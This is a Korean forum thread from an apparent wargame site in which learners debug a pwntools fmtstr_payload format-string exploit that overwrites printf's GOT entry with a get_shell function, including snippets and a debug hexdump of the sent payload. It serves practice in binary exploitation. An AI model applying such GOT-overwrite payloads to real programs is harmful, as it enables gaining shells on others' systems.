fmtstr_payload
printf_got를 get_shell로 덮어서 문제를 푸려 하는데
fmtstr_payload만 재대로 먹지 않는 거 같은데 왜 그런지 알 수 있을까요
payload = fmtstr(1, {printf_got : get_shell})
이런식으로 작성 했습니다.
#pwnable
작성자 정보
답변
2
qwerty_io
대표 업적 없음
fmtstr
로도 해당 문제를 해결할 수 있습니다. 앞서 작성해주신 payload를 send로 보내게 되면 익스플로잇이 동작할 것으로 보이며, printf_got와 get_shell에 올바른 주소가 들어가있는지 확인해 봐야 할 것 같습니다.
혹시 확인 후에도 올바르게 작동하지 않는다면 페이로드 전체를 알려주시면 감사하겠습니다!
흠챼샤
대표 업적 없음
저도 같은 문제가 생겨서 한번 찾아봤어요
printf_got = e.got['printf']
get_shell = e.sym['get_shell']
payload = fmtstr_payload(1, printf_got : get_shell)
context.log_level = "debug"
놓고 디버깅해봤어요
[DEBUG] Sent 0x2c bytes:
00000000 25 38 63 25 39 24 68 68 6e 25 39 37 63 25 31 30 │%8c%│9$hh│n%97│c%10│
00000010 24 68 68 6e 25 31 30 35 33 63 25 31 31 24 68 6e │$hhn│%105│3c%1│1$hn│
00000020 13 a0 04 08 10 a0 04 08 11 a0 04 08 │····│····│····│
0000002c
이렇게 들어가는데 제 생각에는 %1053c
때문에 Seg Fault가 나는 것 같아요
결국에 stack_buf
에 저장될 문자열의 길이는 0x90
을 넘으면 안 되는 것이기에 그런거 아닐까요
문제 풀이 보니까 fmtstr_payload
로 푸신 분들이 좀 계시던데 저는 왜 이렇게 되는지 모르겠네요..
저도 초보라 정확히는 잘 모르지만 아무튼 제 생각은 이렇습니다